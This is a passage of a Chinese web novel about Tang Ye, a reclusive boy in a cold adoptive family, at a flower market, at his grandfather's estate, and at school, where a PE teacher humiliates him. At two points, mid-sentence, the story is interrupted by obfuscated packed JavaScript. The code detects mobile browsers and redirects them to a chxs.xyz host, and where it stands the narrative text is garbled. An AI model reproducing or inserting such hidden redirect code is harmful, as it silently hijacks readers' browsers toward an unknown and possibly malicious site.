走回美食街,他买了份羊城特色钵仔糕品尝了一口,那软软糯糯的口感和甜而不腻的桂花味让他陶醉其中;他又闻到那咸香扑鼻的牛腩,可惜换大牙期间的孩子悲催地发现,一嚼就牙疼,只好尝尝那肉汁的味道;他又买了杯西米露,怎知只喝了第一小口,就发现里面有他不能喝的牛奶,只好把它拿在手里感受下气氛;倒是那些晶莹剔透的糖画,既好看又好吃,他买了一匹骏马,从马头开始舔着。 在花市最后面一段,独自缓缓而行的小孩更是被那些展示羊城传统手工艺的摊位深深吸引。长长的茅草叶在艺人手中翩翩起舞,编织成一只只栩栩如生的小鸟、蟋蟀、蜻蜓、蝴蝶。木雕艺人手里的刻刀灵活地左拨右挑,一个小和尚活灵活现地出现在他手掌上。绣针在绣娘指尖跳跃,绣出一幅幅精美的广绣作品,还有之前就在博物馆看过的牙雕、铜壶、广彩。 还有的摊位上有老伯现场手写挥春,但他一看到老伯在已经写下但力道不足以下行的笔划上补了一笔,不禁失笑。老伯抬起头看了看这孩子,“小娃娃,你也练过书法?”他连忙摇了摇头又一头扎进人群中。 突然,人群里爆发出一阵哭声:“妈妈!呜呜呜……” 原来不远的前面,有个小妹妹与母亲走丢了,大家围成一圈指指点点,说这当妈的怎么这么不小心。巡逻的警察叔叔拨开人群,把小妹妹带到一边耐心安慰和问讯。 没多久,一个年轻女人就大步奔跑而来,一把把女孩紧抱在怀里,激动得话都说不利索,只是对着周围的警察叔叔连连鞠躬、声音发着抖一连说了十几个谢字。 他侧着头看着这一切,原来这样就能找到妈妈了。真容易。 入夜,花市人来人往,灯笼高挂街头街尾,叫卖之声不绝于耳,烟火之气充盈在四面八方。 他站在人群中,看到重逢的母女俩相拥喜极而泣;看到被父亲托举在脖子上的小朋友扯着爸爸的头发缠着要买棉花糖;看见两个双胞胎小女孩各举着一张春联在飞马下甜甜地笑着,而父母给她们上下左右摄了好多照片,百拍不腻;他看见一家老小在挑选走马灯;他看见街边炸煎堆铺的大婶在骂儿子,因为她儿子抱回一只小奶猫,把过年新衣服都弄脏了,大婶一边骂、一边却小心地把小奶猫安置在铁皮炉子前…… 多热闹的情景呀,可这一切都与他没有关系。 货架上摆满了幸福与温暖,而标价是爱与牵挂。没一个他能付得起价格。 他突然觉得索然无趣。 他走到离他最近的警察叔叔面前说:“您好!我和家人走失了,请帮我打139 xx xx电话找我爸爸,谢谢!”那警察许是没见过这么平静的孩子,再三确认过父母的姓名,才打出电话。 当唐山海一家三口被别的巡逻人员带到唐晔报警的那个驻点时,见到那小孩坐在座椅上甩着两条腿,坦然自若地啃着已经只剩下马身子的糖画,另一只手上还握着一个精美的小木雕、指缝里攥着两根草,各串着一只草编的蜻蜓、一只蟋蟀。 归秀兰气极反笑:这小孩刚才不知道跑哪了,虽说自己讨厌他吧,但终归真的不见了的话,对老爷还真不好交待,毕竟在大街上众目睽睽,一个小孩又不可能无端端就死掉;这么大了,又很难再被拐带,想他消失得彻底那可不是件容易事。她冷冷地看着这娃子又耍什么花样。 唐山海见到他急忙问到,“小晔,怎么打你的电话一直没人接?” 他舔舔嘴唇上的糖,淡定地说,“出门时忘带手机了。” “幸好你记得我电话号码。”唐山海庆幸没惊动老父亲与方哥。 “嗯,我记得。”他还是很从容。 “下次要跟上我们,不要自己乱跑了。”能怎么办,这孩子没见过世面有点儿不知死活,但又不是自己娃,吼他一顿? “我喊过你们等一下,但你们听不到,我饿了想吃东西,就先去买东西吃了。”他的陈述语气冷静得让周围的大人都不太冷静。 警察叔叔不由得提高了声音在旁边提醒,“这位小朋友,下次与爸妈走散了不要光顾着自己玩!要马上找我们或联系父母!” “好的,知道了,谢谢警察叔叔。”那小孩对他甜甜笑道。 唐山海压下火气,微微摆出个“请”的手势,“小晔,我们走。” “好的,爸爸。”他点点头,慢悠悠地站起身。 “慢着!请出示一下两位的身份证。”旁边有位警官出了声。他见过太多太多家庭的相处模式,父亲与儿子这么相敬如宾的还真没见过。 …… Nuit,别人也觉得我们并不像一家人呢,是我的问题吗? …… 他们回到小区,乘电梯上楼的时候,唐晔带着讨好的笑容,把手里的草编蜻蜓举到哥哥面前,亮晶晶的大眼睛弯成月牙型,甜甜地笑着对他说,“哥哥,这个送给你。它最可爱,我最喜欢这个了,你觉得怎样呀?” 归秀兰“嗤”地笑了出来。 唐天刚才一腔怒火没处发泄:今晚难得逛花街,爸爸妈妈就一直在找你这死小孩,我什么都没买到、玩到,你倒好,自己又逛又吃又买!他劈手抢过死小孩藏在身后的草编蟋蟀:“我要这个!” 死小孩果然着急了:“这个我要的!” “是吗?”这时电梯已经到家的楼层了,唐天跨出电梯门,在踏入家门前,他一把把草编蟋蟀扔在地上,又一脚踩上去,把茅草编织的破玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942739|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺儿踩扁,“哎呀,不小心踩烂了呢,我不要了!” 他大踏步进门时,从门上的金属装饰的反光处,看到那死孩子蹲下来,看了看被自己踩坏的蟋蟀,捡起它又摸了摸,然后把它小心放进楼梯间的大垃圾桶里。 他的心一动。 不过那死小孩刚好转过身准备进家门了,他急忙转身先走进去,空气中只留下他“哼”的一声。 唐晔看着唐天的背影,轻笑了一下。 哥哥,我告诉过你我最喜欢的是蜻蜒,我也先把它送给你。但你不相信。 那我就留下它了。 来大城市打工的人们都陆陆续续回家乡,大年三十,羊城已像一座空城。唐山海夫妇的大女儿、在外国读商学院的唐笑,早上的航班落地白云机场,中午,一家五口人一起回到了唐万里的的云山大宅。 爷爷的宅院座落在云山的一处山坳里,前面望着大城市的灯红酒绿,后面有条小路一直通向云山深处。 从不到五岁来到羊城,唐晔就一直住在这里,在去唐天家之前,从未离开。 爷爷与大儿子一家谈笑风生,相谈甚欢。直到谈话接近尾声,他才似乎突然想起了寄住在大儿子家的小孙子唐晔。他瞥了唐晔一眼,脸上浮现出一丝淡漠的笑容,随手招了招,示意唐晔靠近些,例行公事般地问了问唐晔在父母家的生活是否适应。 唐晔稍微犹豫了一下,然后轻声回答道:“已渐入佳境,与父母及兄长共处,倍感温馨。” 未听完唐晔的回答,爷爷便轻轻地哼了一声,发出了一声听不出情绪的感叹,又随手拍了拍唐晔的肩膀,嘱咐他好好听话,然后便转身继续与大儿子一家热聊,将唐晔再次抛诸脑后。 小孩独自回到晴园。 过年这三天,对于唐晔,舒心的日子太过短暂的,但对于唐天,已是十分不耐。他拖着爷爷的老助理方源伯伯,四处找着自己的便宜弟弟。 一进晴园,只见里面有个大池子,池子边有个小巧的凉亭,一个穿一袭紫袍的瘦小身影正跪在亭边的美人靠上,半个身子都垂在栏杆外,专注盯着水里的鱼群。 方源连忙快步走上前去想抓住他双肩,伸出手却又不敢拉扯他,只能一直护在他身侧:“三少爷,小心些,这万一掉进水里了怎么办?” 小孩轻轻“嘘”了一声:“方伯伯,别说话。” 只见他目光所指,一条黑色的小鲫鱼,不知是怎么混入这一群金光闪闪的锦鲤中并活下来的,别的鲤鱼不是五彩缤纷就是一身红鳞,条条都通体肥壮,圆圆滚滚。 只见这条不起眼的细瘦的小黑鱼并没往最多食物的栏杆一尺外的区域挤,只是一直躲在支撑着亭子的柱子旁,任别的鱼互相压踩着去抢夺食物,它却只看准机会,有零碎的鱼食残块飘过来时,它就迅速出击一口吞掉,再马上游回柱子边继续守候。 唐晔半个身子都趴在围栏看了它许久,直到自己撑着栏杆的手臂都快麻了,才让吊在外面的另一只手里藏着的最后一颗鱼食沿着柱子滚下去,落到小黑鱼面前。 小黑鱼像不相信有这样的好运气似的,一开始并没有像之前那样马上咬住,直到有别的鱼游过来想抢,它才一抖水花,猛地咬住这块完整的鱼食。 唐晔直起身体,顺手从一位不知什么时候出现的中年仆妇手中接过温热的湿手巾,把手擦干净。此时那位仆妇已经顺带为他整理好紫色的晨袍,他把手巾递还给仆妇,恭敬地对唐天说:“哥哥,早安!” 看他专心致志地喂鱼,唐天记起,前几年有一次春节,天气竟然非常暖和,甚至可以下河踩水的温度,那一年,他无聊地带着好几个亲戚小朋友,把这一池金鱼给当成海怪,杀了个片甲不留。 这小孩哭得很惨,他第一次见这个小孩哭呢!以前,无论在他面前、在家人面前、还是在爷爷公司的那些大伯大叔面前,这家伙都是笑嘻嘻的,真讨厌! 后来据方伯伯说,这池金鱼名贵得很! 他可害怕死了,怕爷爷把自己抓去打屁股,不知在爷爷家,是爷爷说的话有用呢,还是妈妈比较厉害呢?妈妈你可一定要救我呀! “那天,对不起了。”唐天突然对他说。 “嗯,什么?”只见弟弟转过头,条件反射地笑笑,但一双深幽的眼睛看向自己,笑意未达眼底。 “我不是故意的,那个,我不是想逼你脱衣服,我不是想欺负你,我是说那次……” 唐晔定定地看着面前的哥哥。 “那个,那件衣服,对于我很重要……嗯,有首很好听的歌,是英国一个著名的摇滚乐队唱的,那件衣服,就是那首歌的纪念T恤。我以前很喜欢抱着它睡觉,所以旧旧的,吴姨整天想给我扔了它的……” “知道了。” “你理解吗?……就是,自己最喜欢的东西,突然出现在别人手里……” “理解。”他反而用安慰的眼神对唐天笑笑,“谢谢你的解释。” “那,你还会给我补习数学的吧?虽然听我妈说,你已经拿到户口和身份证了。”唐天迟疑到。 “当然,说好要把你送进名牌中学的嘛!那……我们现在是朋友了吗?”小孩微笑着问。 “当然是啊。”唐天觉得这个便宜弟弟还挺可爱嘛。 …… 一个男孩走在个异域古镇里,却感受到无处不在的视线,他抬头看去,却什么也没有。 突然,古镇起了火! 在一片浓浓的火光与烈焰中,那男孩赤足奔跑,却怎么也逃不出来。 唐天在尖叫中再次醒来。 …… 6. 第 6 章 已是2014年末了,南方的天气,一阵秋风一场寒。11月下旬的一天早上,气温速降到10度左右。 省实初中部门外,大家一边呵着冻僵的手一边跑进校门,同学们纷纷穿上加绒的冬装校服和毛衣,更有甚者,已经在家人提前准备下穿上了羽绒校服外套。比如一向怕冷的唐晔。 当唐晔裹着羽绒服和围巾、骑着自行车到达校门口时,同学们已经在前门广场绕着圈跑步,他又迟了几分钟。他停好单车,有礼貌地请门卫开了门,就低着头绕开晨跑的同学们、贴着围墙边径自走进教学楼。 初一到初三、十几个班的人一边喘着气晨跑一边侧目看着这个“幸运儿”,一边小声感叹“真好命啊,迟到还不用跑步”,“又是那谁、初一3班那个呗,上星期数学竞赛上台领奖了啊”,“听说他次次考试都满分,老师都不管他的”,“为所欲为啊”,议论纷纷。 同学们最多就过个口嗨,但这些话却隐隐约约传进了站在旁边的一位穿着紧身运动服、高挑艳丽的年轻女教师耳中。 她叫梁小贝,是本校高中部的体育教师,因家里亲叔在教育局任职,刚好分管人事这一块,所以从大学本科毕业就有资本进入这名校的高中部当体育教师,也是独一份儿了。因身材面容姣好,颇受高中男生们的欢迎,同事们也从不会得罪她。这几年年年评先争优都有她一份儿。 这个周四周五,区里举行田径比赛,由于初中部有名体育教师被抽调到区里帮手当裁判,又有两名教师带队,初中部体育教师严重不足,向高中部请求人手代两天课。这热心的梁小贝便一口答应了过初中部帮两天忙,得对得起自己这些先进不是? 此时晨跑差不多已经结束,队伍在一点点收拢,大家纷纷减速,按体育委员的口号站回自己班级所在的位置上做拉伸放松肌肉。 梁小贝随口问站在她前面不远正在做站位体前屈的几个同学:“刚刚迟到了又不马上放下书包晨跑、却敢直接上楼的那个男生,是谁?” “那是三班的唐晔,他从不参加体育活动的。”她问的刚好是初一一班和二班的纵队,其中有个男生答道。 “从来不参加体育活动?谁给他这个特权?!”梁小贝声音里透着轻蔑。 其他人面面相觑不敢答话。刚清点完本班考勤、从队尾走上来的初一一班班长何嘉南答道,“老师,他体质不好,申请免修体育,他们班主任知道的。” “哼,这么严重啊?我当然会和他们老师说。”梁小贝从鼻子里哼出这句话。 何嘉南想想就没再说什么,反正要是这女老师一问就会清楚的。 今天降温,走廊风大,唐晔也懒得跑出教室找何嘉南玩,下了课就一直呆在教室后排自己的坐位上安安静静的、或是和前面的同学小声讲题。 第三、四节课是三班和四班的体育课。在体育委员的吆喝下,大家裹紧外衣,边抱怨着这个大风天、边揣上水壶下楼去了。唐晔等大家都离开教室之后才不紧不慢拿出平板,偶尔画上几笔,但更多的是看着窗外蓝蓝的天空发呆。 突然,教室的门被撞开。体育委员王梓君气喘吁吁闯了进来,打扰了原本的一室宁静:“唐晔,快跟我走!” 唐晔从发呆中回过神来问道,“怎么了?” “快走,救人!” 唐晔更奇怪了,“救谁?” “路上跟你解释,呼、呼、呼……大哥,你先跟我来。”他走到教堂后面、不由分说一把扯上唐晔的手臂就准备冲出教室。 唐晔前天晚上在家里摔了一跤,磕到后腰。虽然陈姨马上带他去看了医生,说没什么大问题,好生养几天就没事了。此时被王梓君这样向前一带,他吃痛,便用力甩开王梓君的手,有点尖锐地喊道,“放手!我自己会走。” 王梓君也是无奈,他也不知他有啥毛病,此时也不敢用强:“大哥! 求你了,快走吧,三、四班40多条人命在你手里呢。大哥,皇帝!起驾!快点好吗!”一路上,王梓君都快急得脚底冒烟了,在他眼中唐晔还是那么满不在乎的慢吞吞向前走着。 不过虽然心急火燎、气喘吁吁,王梓君总算是把事情说清楚了: 大家到了操场,男生、女生分别各排成两列横队,男生由自己带着、女生由班长袁雅维带着,和四班的男、女生横队组合成男生班和女生班,分别由不同的老师上体育课。不远处的女生班还是由原来的陈老师上课,但今天男生班却换成一位身材高挑火辣的年轻女教师。她自称是来自高中部的梁老师,来代两天课。 当她笑咪咪地自我介绍完、并快速的点完名时,处于青春期开端的男生们还沉浸在本日小确幸中:美女老师啊,还穿得火辣辣的,今天有福了! 但很快他们就笑不出来了——美女老师一声令下,“绕着操场跑步!” “跑几圈?”有的人还敢嘻皮笑脸问。 美女老师神情一凛:“一直跑到你们班不交请假条、无故不上课的同学过来上课为止!” 大家左看右看,哪个班缺人了,没有啊,刚才不是报过数又点过名么? 王梓君与四班的体育委员对视了一眼,相对摇了摇头。王梓君便跟这新来的美女老师说:“梁老师,三班四班人都齐了,没人缺勤啊。” “那这个叫唐晔的,怎么回事?”她敲着手里的点名册。 …… 唐晔听到这里,便问:“你没跟她说我免修体育课吗?” 王梓君呼呼着说:“我当然说了呀!而且,本来考勤本上就备注了的,不用问都看得到呀!” …… 见新老师问起,王梓君回答说,“哦,他呀!老师不用管,他免修体育课的。” “怎么回事?”美女老师冷冷地问。 我怎么知道怎么回事,不就咳嗽、身体不好呗,我只是体育委员,又不是班主任,人家同学有情况也不会向我讲啊!王梓君郁闷地想着,但终归没有呛出口。他记得开学不久他向班主任汇报晨跑考勤情况时,班主任曾说过这个同学不用算在体育活动的考勤名单里。此时他也只能这样回复这个新来的美女老师:“听说他身体有毛病……” “就算是免做体育锻炼,那也得出席课堂吧?他是残废的吗?连下楼都不能下?我倒要看看他有什么毛病!你,去叫他马上过来上课。其他人,向左转,起步,跑!跑到这位同学来到为止。”她的神情可一点都不像在说笑。 王梓君见事情不好,于是就飞快跑着穿过整个校园回到教学楼,把这尊大佛请过来灭老师的无名业火。 等两个人终于来到操场,别的男生们已经绕着操场跑了差不多五、六圈。大家都累得气喘吁吁,心里怨气冲天:“美是美了,但这女人真是莫名其妙!”连带着把平时颇为低调的唐晔也迁怒起来——老师叫你来你就快点儿来吧,累死老子了! 梁小贝见体育委员把人带到,也信守承诺,马上招手让同学们回来集合。等到大家排好队重新安静下来,她才颇为得意地说:“唐晔同学,你上课迟到了20分钟,也耽搁了所有同学整整20分钟时间。你说,要怎么罚你?” 唐晔向她点点头,有礼貌地说:“梁老师,您好。您今天第一次上课,可能不太清楚,从一开学我就已经向学校申请了免修体育课。我相信考勤本子上有备注,体育委员也应该向您说明情况了。” “是吗?你有什么病啊?向谁申请免修?谁批准你上课时间不到堂的?”在大冬天里依然穿着短款运动外套和修身提臀健身裤、展示着自己优美体态的梁小贝,用下巴轻蔑地看着这个长发遮眼又高又有点儿驼背、穿着羽绒外套还裹着围巾的男生就觉得不顺眼。今天有这么冷么,用得着把自己包成粽子?一点儿精神气儿都没!她恨不得一桶水把他泼醒。 唐晔挑了挑眉毛。 梁小贝见他没马上答话,又想起今早听到的传言,便心里认同了他是由于学习成绩不错就为所欲为的说法,她得意地说,“我问你的同学们,每个人都不知道你是怎么回事,只是说你一开学就是这么另类。同学,人有个性是好事,不过太有个性就不是什么好事了,早训迟到、体育课在教室偷懒,我相信你的同学们也不会乐于见到这样特殊地位的同学存在,对于大家都不公平。” 公平?这世界上真有公平所言?那能否公平地赐我一双父母? 唐晔抿了抿嘴,勉强解释道:“梁老师,我从小患有哮喘,无法剧烈运动。开学前,我家人给我申请免修体育科目时,已经按学校要求把近一年的医院就诊记录复印交到校医室了。这些是我个人隐私,我本来没必要当众说明。希望您不要拿我的事为难我的同学们。” “听听,好大的口气!不要为难你的同学,当自己是大英雄是吧?是你自己想在教室偷懒!而且,我们学校的宗旨,一直强调学生保持良好的身体素质,像你这样体质的学生连入学体检都过不了关,学校是不收的。那你告诉我你又是怎么入的学?” “那恐怕您就得问负责招生的老师了。”唐晔盯着她这张漂亮却挂满对他冷嘲热讽神情的脸,也冷冷回答道。 女生班的陈老师早就留意到这边的情况,刚好这时女生班准备分散队伍开展训练,趁她们换队型时,陈老师紧走几步赶过来,小声对梁小贝说,“梁老师,是这样的,我们学校一向对学生身体素质要求颇严,但毕竟初中还是义务教育阶段,难免会有几名学生有些特殊情况。只要有三甲医院开具证明,还是能破例的。” 陈老师走到梁小贝身边耳语道,“据说这学生升学考时理科二项和英语全满分,学校专门争取回来的。上个月省数学竞赛,他这初一的和几个初三学生一起代表学校参赛,他也获得了省一等奖,实际得分比其它几个初三的还高。校长、主任都对他客客气气。您睁只眼闭只眼就算了。” 梁小贝虽然眼高于顶,但作为一名教师,她也知道这类能给学校争光的学生的确会得到特殊关照,就像她带的高中田径队员有时候她也会私下关照一声他们的班主任,说“昨晚集训得晚,作业就请他们高抬贵手”之类。既然有同事这样说了,那她也就顺坡下驴,放缓了口气说:“好,那你像他们一样,做一下站位体前屈,拉伸一下后背,别整天弯腰驼背的,看着就没精打采。” 唐晔看出她的意思,也就只好照做。但他刚刚把腰弯下来一点,前晚撞伤的地方就像针刺一样疼痛,他连忙用右手按住腰部伤处,左手撑着大腿让自己缓一下,再慢慢站直:“老师,我做不了。” 在一旁的陈老师心想:你好歹就做个样子拉伸一两下也好啊!这学生牛啊,连老师给的台阶下都不愿下是吧? 梁小贝再次冷笑道:“这位同学,医生只是说你不能剧烈运动,让你做个拉伸,你的心率和呼吸频率就能去到中等运动水平是吧?你也别侮辱我的专业好吗?” 唐晔答道:“我前晚在家摔了一跤磕到腰了,所以今天真的弯不下去。我这样说,您不信吧?” 这下子不但梁小贝在笑,连长跑完、做完拉伸在喝水的男生们有的也忍不住笑了出来,有人说,“借口真多!”“还真是凑巧啊!”人群里小声议论着。 “是真的很凑巧……”唐晔无奈回答。 他想起前晚的傻事:那晚他在楼下有浴缸的那间浴室泡完澡,陈姨千叮万嘱让他擦干身体特别是脚、穿好浴袍再上楼梯,就是担心他这个运动白痴会因为脚湿而滑倒。结果脚干了、拖鞋也干了,上楼梯时,却被浴袍带子绊了一下,他用左手一扯楼梯扶手想稳住自己、但用力过猛,整个人向左侧一歪,后腰重重磕在扶手上,登时被磕得头脑一片空白,跪坐在楼梯上疼得半天喘不过气……还好当时手握得紧没滚下楼梯。后来马上去了医院、医生说不严重,涂药静养几天就行。昨天早晨起床觉得好了很多,不像刚才那样拉扯到的也不会疼,就没有请假不来学校。……现在想来,真是被笨手笨脚的自己蠢哭。 他想到这个,嘴角不由得向上扯了一下。 但是周围的人眼里看到的只是,老师给你台阶下你不下,老师批评你,你还回嘴,还偷笑。呵呵呵呵……这个理科大天才可真是给脸不要脸啊!死定了你! 梁小贝一边冷笑,一边从站在她身边战战惊惊、准备随时安抚她降火气的三班体育委员王梓君手里、一把抢过他喝水的两升大水壶、向前一步一把把整壶水照着唐晔的头兜头淋了下去。 这一淋,世界都清静了。 同学们惊呆了,虽然有的人看不惯唐晔平时酷酷的、也有人眼红妒忌他的好成绩,刚才看到他被老师批评还挺爽的。但现在被老师这样兜头兜脸淋水,似乎……挺惨的啊! 陈老师也目瞪口呆,天啊,梁老师果然是上头有人!这算是侮辱学生人格了吧,不怕学生父母告你么? 梁小贝哼了一声,淡定地把空了的大水壶递还给王梓君。 虽不能称南粤这十度左右的气温为寒冬腊月,但降温第一天户外的风很大,这一两升凉透了的水从头淋下来,顺着唐晔的发尖、棱角分明的眉毛、瘦削的脸颊,再沿着脖子流进身体里,他仿佛整个人掉进冰窖,被严寒包裹着。他用尽全力睁开眼睛,浓密的睫毛上挂着的水珠都似乎凝结成冰珠,连从牙缝里逸出的声音都冷得发着抖:“老师,满意了吗?” 梁小贝瞪着他正还想说什么,忽然,一件校服兜头把唐晔的脑袋笼罩起来,把两人之间能杀人的视线隔绝开来。 只见是国庆节后才从京城转学过来的初一四班的那个高挑女生,从几十米外的女生队伍里冲了过来,迅速脱了自己的校服外套把唐晔紧紧包裹住,然后双手有力地扶着已经冷得身体僵硬的高瘦男生的肩膀,架着他向操场外走去。 “张宇,你去哪里?”陈老师见自己带的学生要走,连忙问道。 “哎,干什么?给我站住!”梁小贝也同时向他们喊道。 脚步是定住了。只见这个叫张宇的女学生缓缓转过头,盯着梁小贝老师的眼睛、似乎已经看到了她的下场一般,用陈述的、不带任何语气的声音说道:“你找死。” 然后,这一男一女两位同学一步一步离开大家的视线。没有人再敢询问他们一下。 两位老师不再交谈,各自整理着队伍上课。但其实并没上很久,校长、教导主任、以及初一三、四班的两位班主任一行四人就来到操场。校长先是勉强一笑算是向同学们打了招呼,然后梁、陈两位体育老师便跟着校长离开了。教导主任让三班长袁雅维带齐女生们在不远处做着刚才的练习,而让男生班集了队坐整齐,两位班主任一左一右站在男生队伍两边。 教导主任让两个班的体育委员讲讲刚才的情况。王梓君看教导主任的脸色,也不知是向着哪边的——毕竟简单看来好像是唐晔同学不尊重梁老师在先,梁老师欺负唐晔在后。他便索性一五一十把整件事情说清楚。四班的体委也补充说明几句,他们两人把始末都交代清楚了。讲完后,主任又问同学们还有没什么要补充的,大家你看看我我看看你,都纷纷摇了摇头。主任便让两位班主任看着同学们,自己急匆匆往办公楼方向走。 主任一走,虽然班主任还在,却也禁不住同学们嗡嗡的议论声了——事实上,两位班主任也在交头接耳。她们小声交谈了一两句,忽然想起,今天那么冷,体育老师也不在,我们在操场上凑什么热闹呀!干脆就各自吆喝着自己班的学生,集结好队伍回教室自习。 袁雅维快走几步,赶上了队伍前面自己班主任冯老师,亲昵挽着她的手臂问:“老师,现在啥情况呀?” “啥情况,你们看着的,还来问我?我比你还懵呢!”班主任和她的关系一向很好。 “我是说,那个梁老师,还有唐晔,现在怎么样了。” “唐晔回家了。刚才门卫打电话上来我都惊呆了,说我班有个学生像掉水里似的全身湿透、冻得脸都青了又没衣服换,我说赶紧放人在门口打个车送他走。不是有个四班女生主动要求陪他回去么,我就跟她老师说了,又报给主任。……现在如果校长认同了同学们的说法,那梁老师那边定是要处分的。但这事可不简单……” “啊?但梁老师泼水给唐晔这个事实,我们两个班都亲眼看到了呀!而且刚才唐晔也说了自己身体不好,有哮喘,她还大冷天给人兜头兜脸浇冷水,真是!都不知道他会不会感冒发烧……”袁雅维不知不觉就透露出对这个男同学的担忧。 冯老师看了她一眼:那男孩除了运动不行、不太开朗,但头脑又好成绩又好、刚拿了数学竞赛一等奖,长得又帅,又有艺术才能,听说上个月本班获第一名的那版班级墙报是他画的……冯老师知道班里其实蛮多女生暗恋他,青春期女孩子的心思她懂。恐怕这袁雅维也早就芳心暗许了。 她的心突然一动,小声的在她最信任的学生耳边说:“雅维,我交给你一个秘密任务。” “老师您说。” “等下中午放学你赶紧跑去饭堂吃几口饭,然后快点去唐晔家看看情况。但你别说是我让你去的。”因为学校现在对于这件事还没有定论,我去到见到人家家长,人家肯定要我表态的,这个,冯老师可不敢把小心思表露出来。 “去他家见家长……要我去看什么情况?”袁雅维一边听冯老师说一边想入非非,去喜欢的男孩的家里?他住哪呀?他的家是怎样的呢?房间怎么样子的呢?对了,他要是冻病了,会不会躺在床上、紧闭双眼?自己是不是可以亲手照顾他?要端着开水给他吃药吗?他睫毛好长,脸很好看……还有刚才他好像说腰受伤了,要不要给他上药什么的?啊对了,肯定也有家长在呀,是他爸妈还是爷爷奶奶呢?真害羞,今天穿着这么肥大的校服…… 冯老师暗暗翻了个白眼:“就是看看他有没有生病、家长的态度是强硬还是温和看起来有商量。人家家长问起你就说是你关心同班同学的身体所以来的,其它不知!尽早发信息告诉我。快去快回。”她故意忽略掉袁雅维的小心思:你还有心情思春呢?!老师我都心烦意乱了。 “哦……那您把他家地址告诉我。” “我记得学籍表上,他家地址是珠江新城那儿的,但上次和他聊天,他说平时住在东山,离学校不远,骑车来学校好像就十分钟左右,可能他爸妈在这附近还有房子。具体你发信息问问他。记得是以同学的名义说想探望一下。还有,毕竟你一个女孩子去男同学家也不安全,叫上王梓君一起,不过不要跟王梓君解释那么多。” 啊,还要我自己问他呀,那万一他在信息里一口回绝说不用了自己没啥事,那我不是就没机会去他家了?哎,我究竟是想他生病还是想他没病呢。她突然想到一个人:“老师,这样吧,不用王梓君陪我了,我去叫一班的何嘉南吧。您知道何嘉南和唐晔关系很好吧?” 冯老师点了点头。她的确多次见过这两个男生一起在走廊里聊天说笑。 “我和何嘉南是小学同学,熟得很,有他在,您放心。而且何嘉南和唐晔这么熟,应该知道他家住哪,那就不用发信息问唐晔,影响他休息了。” “好,那就最好了。你等下了课马上叫上他赶紧吃完饭就尽快过去。下午2点前回来,别影响下午的课。” “好,我知道了。” 下课铃一响,袁雅维就准备冲出教室。她好朋友黄萌萌叫住她:“去哪?” 袁雅维支支吾吾。 黄萌萌凑近她:“你去找唐晔呀?” “谁说呀!” “我还不知道你?!你自己去找他吗?去他家?怕不怕不安全啊,要不我陪你?” “不用不用,我叫何嘉南陪我去吧,他们俩比较熟。”她说完,急匆匆就想走。 “哎哎哎,别说我没提醒你,你把人家书包也送过去吧,比较名正言顺些。” “哦哦,对!”袁雅维来到后排唐晔的坐位上,一边帮他收拾东西一边心里甜丝丝的。他的字真好看!他的笔袋好好看呀,书包收拾得好整齐,还有淡淡的香味,真好闻。这蓝黑色的书包好好看啊,这什么牌子的?设计得真好,回头问问他在哪买的,好想要一个同款不同颜色的。 “啊,要快点了,要不何嘉南走了。”袁雅维刚背上唐晔的书包冲出教室门,迎面撞上一个高高的男生。“何嘉南?” “刚才一下课,郑风一见到我就告诉我你们体育课的事了。”何嘉南也看清是她,压低声音说。 郑风在前些天何嘉南的生日派对上认识了唐晔。他四班的,所以刚才亲眼目睹了整件事,但一个学生还能做啥,只好一下课就赶紧过来悄悄告诉他们的大佬何嘉南,让他拿主意。 “那太好了。我现在想去看看他,你知道他家住哪吗?”朋友多就是好。 “只知道大概方向,离东湖公园很近,之前说去但一直没去成,我发信息问了他但好几分钟了他都没回复,我刚刚又叫何柏文去问了他哥。” 袁雅维记起何柏文和唐晔的哥哥也刚好是知行的同班同学。她忙说,“太好了,那我们先去拿单车吧。” 当他们俩按照何柏文回复的信息,找到唐晔家所在的楼盘时,着实吓了一跳:高大的深色门面上,首先映入眼帘的是两块鎏金的画,分别位于入口的左右两侧。左边的门牌上雕刻着一只栩栩如生的仙鹤,高雅地挺立,仿佛正在向着天空展翅飞翔。而右边的门牌上则刻画着一棵古老的松树,其枝干弯曲有力,树皮上的纹理仿佛记录着岁月的痕迹。 走进大堂,淡淡的木质香氛弥漫在空气中,宽敞的空间里,光线透过精美的吊灯,营造出一种宁静而高雅的氛围。玫瑰金的装饰条、华丽的壁画,以及每一件家具的摆放,都彰显着开发商对品质的极致追求。两人相视,都在对方眼里读到惊讶。 深色大理石前台那儿等候着的两位笑得很温柔的小姐姐,有礼貌向他们问:“你们好,请问找哪位?” “呃,你们这里有户人家姓唐的吗?”何嘉南犹豫了一下。 “是的,请您两位在这里登记一下,方便我们向住户通报,非常感谢。”小姐姐们微笑着说。 他们俩摸出羊城通学生卡递了过去。 小姐姐们看了一下就有礼貌地问,省实中学,是唐晔公子的同学吗?他们连连点头。小姐姐微笑地把羊城通还给了他们,把他们领到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942740|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电梯前。刚好这时候,有位中年伯伯也大踏步走了进来,并未登记就直接走到电梯前面。前台小姐姐热情的向他打招呼:“方总您好!”并向他介绍到:“这是何公子和袁小姐,他们是三少爷学校里的同学。” “哦,你们好。这样,那我带他们上去就行了,交给我吧。”这位“什么总”眉头紧锁,但也有礼貌的向他们点了点头。 他们俩也回了个礼,跟着他一起进了电梯。中年大叔按下了18楼,电梯安静平稳的运行了起来。 